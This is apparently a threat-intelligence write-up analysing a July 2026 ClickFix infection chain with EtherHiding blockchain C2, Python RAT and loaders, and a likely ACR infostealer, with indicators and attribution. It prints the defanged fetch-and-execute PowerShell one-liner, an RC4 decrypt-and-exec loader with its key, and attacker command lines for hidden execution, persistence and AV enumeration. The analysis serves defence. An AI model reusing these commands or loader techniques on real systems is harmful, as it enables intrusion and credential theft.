*Published: 7/21/2026* > **High-level Overview:** One pasted ClickFix command ran a fully automated chain in about a minute. A fake "Intel Software Updater" dropped a bundled Python RAT that pulled its C2 off the Ethereum blockchain (EtherHiding), then staged a second Python loader that decrypts and injects the final infostealer, most likely ACR (Amatera lineage). The whole chain ran to completion off that single paste. ## The chain at a glance ``` [explorer.exe] user pastes into Run box │ └─▶ powershell.exe -c "iex(irm ukvmxeyflvvqr.allianurkoa[.]com/s/psc3 -UseBasicParsing)" │ DNS allianurkoa[.]com → 104.21.96[.]109 (Cloudflare), :80 + :443 │ └─▶ powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File %TEMP%\<stager>.ps1 │ drops → %LOCALAPPDATA%\EdgeUpdate\IntelSoftwareUpdaterV8.exe │ └─▶ IntelSoftwareUpdaterV8.exe (Inno Setup installer) │ └─▶ is-AQD3VUNW0W.tmp\IntelSoftwareUpdaterV8.tmp /SL5="..." │ extracts embedded CPython 3.11 → │ %LOCALAPPDATA%\Microsoft\WindowsApps\Microsoft.PythonApp_mbs0geli24m2t\ │ └─▶ pythonw.exe run.pyw ← PYTHON RAT #1 ├─▶ schtasks /Create /TN IntelSoftwareUpdater /XML %TEMP%\t.xml (persistence) ├─▶ cmd /c ver (OS recon) ├─▶ powershell (Get-CimInstance ...SecurityCenter2 AntiVirusProduct).displayName (AV enum) │ ├─▶ EtherHiding C2 beacon: eth_call every ~5 min, 14:12 → 14:48+ │ ↑ rotates ethereum/polygon/sepolia RPCs (publicnode & drpc), Cloudflare 104.20.24[.]117 / 172.66.150[.]162 │ └─▶ powershell -NoProfile -NonInteractive -NoLogo -Command - ↑ script fed over STDIN (no command-line artifact) │ DNS whitecarkiario[.]com → 2.27.160[.]121:443 │ downloads Python.zip + Learn.zip from /Smoke/ └─▶ C:\ProgramData\5bGGk1dehDhlPQC5\ ← PYTHON LOADER #2 python*.exe + python313.dll + mod.pyc + j7g…jsxi + <rand>.lnk │ └─▶ (via .lnk) pythonw.exe mod.pyc relauncher (Popen sys.executable -c) └─▶ pythonw.exe -c "<rc4>" reads j7g…jsxi, RC4-decrypts, exec()s Python in memory ├─▶ winver.exe injection / hollowing host └─▶ consent.exe UAC elevation ``` ## Stage-by-stage ### Stage 0: ClickFix delivery The parent process is `explorer.exe`, which tells you the command was typed or pasted straight into the `Win + R` Run dialog rather than dropped by another process, and that is the ClickFix signature. > [!example]- ClickFix root > ```python > "powershell.exe" -c "iex(irm ukvmxeyflvvqr.allianurkoa[.]com/s/psc3 -UseBasicParsing)" > ``` `irm` is `Invoke-RestMethod` and `iex` is `Invoke-Expression`, so this fetches a script from a URL and runs it in memory with nothing written to disk yet. The `ukvmxeyflvvqr` subdomain is random noise sitting in front of the real domain `allianurkoa[.]com`, and the `/s/psc3` path is the payload selector. ### Stage 1: the PowerShell stager The child PowerShell writes and runs a stager into `%TEMP%`. What it does is worth reading closely, because the whole thing is built to survive a sandbox and dodge string-match rules: - It creates `%LOCALAPPDATA%\EdgeUpdate`, which masquerades as Microsoft Edge's own updater directory. - It runs a magic-byte validator that confirms the download really is an MSI (`D0 CF 11 E0`), EXE (`4D 5A`), ZIP (`50 4B`), 7z, or RAR before it trusts the bytes. That is anti-corruption and anti-tarpit logic, so a defender feeding it junk gets nowhere. - The downloader carries a custom User-Agent with a campaign build tag riding inside it, `(dl-c/x7k9m2)`, and it sends a nonstandard header, `X-Panel-Internal: 1`. That header is server-side gating: a sandbox or a replay that omits it gets nothing back. - It assembles the cmdlet name at runtime as `'Invoke-We' + 'bRequest'` so the literal `Invoke-WebRequest` never appears in the script. On success it launches the payload hidden through `Start-Process -WindowStyle Hidden`, with a `cmd /c start "" "<path>"` fallback if that fails, and along the way it flips the execution policy from Restricted to Bypass. ### Stage 2: the fake "Intel Software Updater" > [!example]- Inno Setup unpacking itself > ```python > %LOCALAPPDATA%\EdgeUpdate\IntelSoftwareUpdaterV8.exe > └─ is-AQD3VUNW0W.tmp\IntelSoftwareUpdaterV8.tmp /SL5="$1E088C,10202274,893952,...EXE" > ``` The `/SL5=` argument, the `is-*.tmp` working directory, and the `_isetup\_setup64.tmp` support file are the unmistakable signature of an Inno Setup installer unpacking itself. It carries no valid signature, and it hides its payload PE inside the installer's resource section. ### Stage 3: Python RAT #1, an embedded CPython 3.11 The Inno `.tmp` extracts a complete Python runtime into `%LOCALAPPDATA%\Microsoft\WindowsApps\Microsoft.PythonApp_mbs0geli24m2t\` and launches `pythonw.exe run.pyw`. The folder name is chosen to look like the Microsoft Store Python alias, but it is nothing of the sort: the genuine Store alias is a zero-byte reparse point, whereas this directory holds a full sideloaded runtime that brings its own copy of every module. ``` python311.dll python3.dll vcruntime140.dll libcrypto-3.dll libssl-3.dll _ctypes.pyd _hashlib.pyd _ssl.pyd _socket.pyd _bz2.pyd _lzma.pyd select.pyd ``` `run.pyw` establishes persistence with a scheduled task, `schtasks /Create /F /TN IntelSoftwareUpdater /XML %TEMP%\t.xml`, whose action is `pythonw.exe run.pyw` and which is registered and started immediately. It then runs host recon: `cmd /c ver`, `(Get-CimInstance Win32_OperatingSystem).Caption`, and `(Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct).displayName` for installed AV. `run.pyw` then beacons to blockchain RPC infrastructure over `eth_call`, retrieving an encrypted next-stage C2/config from a smart contract. This is EtherHiding. The beacon repeats roughly every 5 minutes from 14:12 through 14:48+, rotating across Polygon, Ethereum, and Ethereum Sepolia via PublicNode and dRPC (Cloudflare 104.20.24[.]117 and 172.66.150[.]162). Distributing it across multiple chains and providers leaves no single domain to sinkhole or server to seize. ### Stage 4: STDIN PowerShell into Python loader #2 Roughly 20 seconds into the beacon, `run.pyw` spawns a PowerShell child with the script piped over STDIN: > [!example]- Script fed over STDIN > ```python > pythonw.exe > └─ powershell.exe -NoProfile -NonInteractive -NoLogo -Command - > ``` The trailing bare `-` means the script is piped in over STDIN, so the real code never touches the command line and anything reading only the command line sees an empty `powershell -Command -`. The body decodes to a loader that blind-trusts TLS with `ServerCertificateValidationCallback = {$true}`, forces TLS 1.2 or 1.3, and pulls two archives from `whitecarkiario[.]com/Smoke/`: `Python.zip`, which is another runtime, and `Learn.zip`, which is the payload. It expands them into a randomly named folder, `C:\ProgramData\5bGGk1dehDhlPQC5\`, with `mod.pyc` as the entrypoint, and builds a matching `.lnk` in `ProgramData` through `WScript.Shell.CreateShortcut` that points at that pyc. The interpreter itself keeps the name `pythonw.exe`, built up a character at a time in the loader script so the literal string never appears, so the only randomized element is the folder and shortcut name. What lands is a second, different runtime, Python 3.13 this time rather than the 3.11 from Stage 3, and its two-ZIP "runtime plus payload" shape is the delivery vehicle for ACR Stealer, the Amatera-lineage infostealer, and the related PureHVNC Python loaders that ride this same ecosystem. `whitecarkiario[.]com` resolved to `2.27.160[.]121`. ### Stage 5: the second loader runs `mod.pyc` is the loader. It launches a hidden `pythonw.exe` that RC4-decrypts an encrypted stage, `j7gTcSQdBc15W11UfhQkrIw3WG.jsxi`, with a hardcoded key and runs it entirely in memory through `exec()`, so the final payload never lands on disk in cleartext. > [!example]- Loader: RC4-decrypt and exec the encrypted stage > ```python > key = b'ZA8W37GlRuPSbe0RMdvPFzzKarXqYvHW' > def rc4(key, data): > ... # standard RC4 keystream > screnc = open(os.path.dirname(sys.executable) + '\\j7gTcSQdBc15W11UfhQkrIw3WG.jsxi', 'rb').read() > exec(rc4(key, screnc).decode('utf-8')) > ``` The decrypted stage is the stealer, and it does more than sit in user context. It injects into a freshly spawned `winver.exe` and elevates through the AppInfo service, which is what pulls `consent.exe` into the tree. ## What actually stands out Most of this chain is standard ClickFix loader plumbing. The parts worth keeping in your head are the few that are genuinely new or that make this one harder to pin down: - **The blockchain dead-drops:** the C2 resolver lives on various blockchain infrastructure, so it cannot be taken down and its traffic reads as legitimate Web3. - **STDIN-fed PowerShell:** the second-stage script is piped in over STDIN and never appears on the command line. - **The fake Store-Python runtime:** a full sideloaded interpreter sitting where the OS puts a zero-byte alias, which is a masquerade that also hands the operator DLL sideloading for free. - **Two separate Python runtimes:** 3.11 for the first RAT and 3.13 for the second loader, staged from two different domains, so killing one runtime does not touch the other. - **The resolver is spread thin on purpose:** the dead-drop is read across Polygon, Ethereum, and the Sepolia testnet through two providers (PublicNode and dRPC) and polled repeatedly, which is a takedown-resistance move and what an EtherHiding beacon looks like on the wire. - **The second stage carries its own crypto and its own injection:** the loader RC4-decrypts an encrypted `.jsxi` file with a hardcoded key, `exec()`s the resulting Python in memory, and that stage spawns `winver.exe` for injection plus an elevation, so it is more than a passive stealer download. ## Attribution The technique stack points at the ClickFix and EtherHiding malware-as-a-service ecosystem that grew out of CLEARFAKE and CLEARSHORT, the framework GTIG tracks under UNC5142 and that a growing set of imitators now reuse. The load-bearing overlaps are the ClickFix `iex(irm …)` front door pasted through the Run box, the reading of the next stage off a public blockchain rather than a takedownable domain, the fake software-updater delivery through Inno Setup that unpacks a bundled `pythonw.exe`, the hidden updater-named scheduled task, and the handoff to a second Python loader. Microsoft and Malwarebytes both documented this exact shape in 2026 ClickFix reporting. What keeps this from a clean single-actor call is the specifics. The infrastructure here does not match a published UNC5142 indicator set, and canonical UNC5142 EtherHiding runs on BNB Smart Chain with a JavaScript (CLEARSHORT) first stage, whereas this sample resolves off Ethereum, Polygon, and the Sepolia testnet through PublicNode and dRPC, with an all-Python payload stack that sits closer to the EtherRAT-style Ethereum resolver seen in the Potemkin/RMMProject campaign. The honest read is a financially motivated operator running the ClickFix to EtherHiding to Python-loader playbook out of this shared ecosystem, most likely staging a stealer, rather than a pinned named group. On the stealer itself, the strongest read is ACR Stealer, the infostealer in the Amatera lineage. Microsoft's July 2026 ACR reporting describes this chain closely: a ClickFix lure, a loader run through `pythonw.exe`, an EtherHiding dead-drop, and theft of browser credentials, session tokens, and Microsoft 365 files. The RC4-keyed Python loader that reads and executes an encrypted stage matches FortiGuard's write-ups of the PureHVNC and Amatera Python multi-stage loaders, and the `winver.exe` injection is the same move to hollow a small signed binary that they documented. A sandbox detonation or a VirusTotal lookup on `Learn.zip` (`9e8c69f9…`) settles the family for the record. ## Indicators **Domains** - `allianurkoa[.]com` (ClickFix stager host) - EtherHiding resolvers (legitimate public RPC providers, abused): - `ethereum-rpc.publicnode[.]com` - `eth.drpc[.]org` - `polygon-bor-rpc.publicnode[.]com` - `polygon.drpc[.]org` - `ethereum-sepolia-rpc.publicnode[.]com` - `sepolia.drpc[.]org` - `whitecarkiario[.]com` (second-stage Python loader) **IPs** - `104.21.96[.]109` (ports 80, 443), allianurkoa[.]com via Cloudflare - `104.20.24[.]117` (port 443), ethereum-rpc.publicnode[.]com via Cloudflare - `172.66.150[.]162` (port 443), additional Cloudflare edge for the Ethereum RPC, contacted repeatedly during the on-chain polling - `2.27.160[.]121` (port 443), whitecarkiario[.]com **Paths / artifacts** - `%LOCALAPPDATA%\EdgeUpdate\IntelSoftwareUpdaterV8.exe` - `%LOCALAPPDATA%\Temp\is-AQD3VUNW0W.tmp\IntelSoftwareUpdaterV8.tmp` - `%LOCALAPPDATA%\Microsoft\WindowsApps\Microsoft.PythonApp_mbs0geli24m2t\` (pythonw.exe, run.pyw, sideloaded DLLs) - `%TEMP%\t.xml` (scheduled-task definition) - `C:\ProgramData\5bGGk1dehDhlPQC5\` (Python 3.13 runtime, `pythonw.exe`, `mod.pyc`) and `C:\ProgramData\5bGGk1dehDhlPQC5.lnk` - Scheduled task: `\IntelSoftwareUpdater` **Second-stage loader** - `mod.pyc` under `C:\ProgramData\5bGGk1dehDhlPQC5\` is a relauncher; it spawns `pythonw.exe -c` that does the decrypt and `exec()` - Encrypted final stage: `C:\ProgramData\5bGGk1dehDhlPQC5\j7gTcSQdBc15W11UfhQkrIw3WG.jsxi` (RC4, key `ZA8W37GlRuPSbe0RMdvPFzzKarXqYvHW`; decodes to Python source run via `exec()`) - Injection / elevation, spawned by the decrypted stage: `winver.exe` (hollowing host) and `consent.exe` (UAC), plus a handle into the AppInfo `svchost.exe -k netsvcs -p -s Appinfo` **Host tells** - User-Agent build tag `(dl-c/x7k9m2)` - Request header `X-Panel-Internal: 1` **SHA256** - `63247ad356030aafec82af887892c6e66e945c861e8695bb5541e5807b1703fd`: IntelSoftwareUpdaterV8.exe - `d4663d18df681d38042e3b455a9308dc55e5745b6a95ad24bc0d0d21070d53fe`: IntelSoftwareUpdaterV8.tmp - `d5355e1de2a5195dccb1ba524b146aa7705be71af18d876819756838251b37b3`: pythonw.exe (Stage 3 runtime) - `2d89f4b3845276f5996279cf4364f57d5aba4ee40f25df12b8034e35e9b61704`: stager .ps1 - `388a796580234efc95f3b1c70ad4cb44bfddc7ba0f9203bf4902b9929b136f95`: _setup64.tmp (Inno support) - `845bc65b580983bea5921f60a7e1dacb4e7786457a5bd2e7e707d77ebe368bb9`: mod.pyc (second-stage payload entrypoint, RC4-decrypted) - `c596446b0fe4a9df90dac9f44150c94b4133fdd9fcd297a295c319c9ec0c7ec6`: pythonw.exe (Stage 5 loader runtime) - `9e8c69f9683b2679bf261cbf47f0052f810414e0b323f60a25ae2fb93bb47e12`: Learn.zip (payload archive) **Command lines (process tree)** > [!example]- Command lines observed, in execution order > ```python > # Stage 0: ClickFix paste into the Run box > "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -c "iex(irm ukvmxeyflvvqr.allianurkoa[.]com/s/psc3 -UseBasicParsing)" > > # Stage 1: hidden stager > "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Users\<user>\AppData\Local\Temp\b5872b994e4c48b7b579b0fe76622daa.ps1 > > # Stage 2: fake Intel updater (Inno Setup) unpacking itself > "C:\Users\<user>\AppData\Local\EdgeUpdate\IntelSoftwareUpdaterV8.exe" > "C:\Users\<user>\AppData\Local\Temp\is-AQD3VUNW0W.tmp\IntelSoftwareUpdaterV8.tmp" /SL5="$1E088C,10202274,893952,C:\Users\<user>\AppData\Local\EdgeUpdate\IntelSoftwareUpdaterV8.exe" > > # Stage 3: Python RAT #1, then persistence and recon > "C:\Users\<user>\AppData\Local\Microsoft\WindowsApps\Microsoft.PythonApp_mbs0geli24m2t\pythonw.exe" "C:\Users\<user>\AppData\Local\Microsoft\WindowsApps\Microsoft.PythonApp_mbs0geli24m2t\run.pyw" > C:\WINDOWS\System32\schtasks.exe /Create /F /TN IntelSoftwareUpdater /XML C:\Users\<user>\AppData\Local\Temp\t.xml > C:\WINDOWS\system32\cmd.exe /c "ver" > powershell.exe -NoProfile -NonInteractive -Command "(Get-CimInstance Win32_OperatingSystem).Caption" > powershell.exe -NoProfile -NonInteractive -Command "(Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct).displayName" > > # Stage 4: second-stage PowerShell fed over STDIN (body not on the command line) > powershell.exe -NoProfile -NonInteractive -NoLogo -Command - > > # Stage 5: mod.pyc relauncher -> inline decryptor -> injection + elevation > "C:\ProgramData\5bGGk1dehDhlPQC5\pythonw.exe" "C:\ProgramData\5bGGk1dehDhlPQC5\mod.pyc" > C:\ProgramData\5bGGk1dehDhlPQC5\pythonw.exe -c "import sys,os; key=b'ZA8W37GlRuPSbe0RMdvPFzzKarXqYvHW'; def rc4(key,data): ...; screnc=open(os.path.dirname(sys.executable)+'\\j7gTcSQdBc15W11UfhQkrIw3WG.jsxi','rb').read(); exec(rc4(key,screnc).decode('utf-8'))" > C:\Windows\System32\winver.exe > consent.exe <pid> <pid> <handle> > ``` ## References - GTIG / Google Cloud, "UNC5142 Leverages EtherHiding to Distribute Malware." https://cloud.google.com/blog/topics/threat-intelligence/unc5142-etherhiding-distribute-malware - Lindensec, "Dissecting a Live ClickFix Attack: EtherHiding, WebDAV Abuse, and How ASR Saves the Day." https://www.lindensec.com/post/dissecting-a-live-clickfix-attack-etherhiding-webdav-abuse-and-how-asr-saves-the-day - Picus Security, "EtherHiding: How Web3 Infrastructure Enables Stealthy Malware Distribution." https://www.picussecurity.com/resource/blog/etherhiding-how-web3-infrastructure-enables-stealthy-malware-distribution - Barracuda, "EtherHiding gives cybercriminals access to blockchain networks impervious to takedowns." https://blog.barracuda.com/2025/10/31/etherhiding-cybercriminals-blockchain-networks - Microsoft, "ACR Stealer: Two observed intrusion chains amid increased threat activity" (2026-07-16). https://www.microsoft.com/en-us/security/blog/2026/07/16/acr-stealer-two-observed-intrusion-chains-amid-increased-threat-activity/ - FortiGuard Labs, "PureHVNC Deployed via Python Multi-stage Loader." https://www.fortinet.com/blog/threat-research/purehvnc-deployed-via-python-multi-stage-loader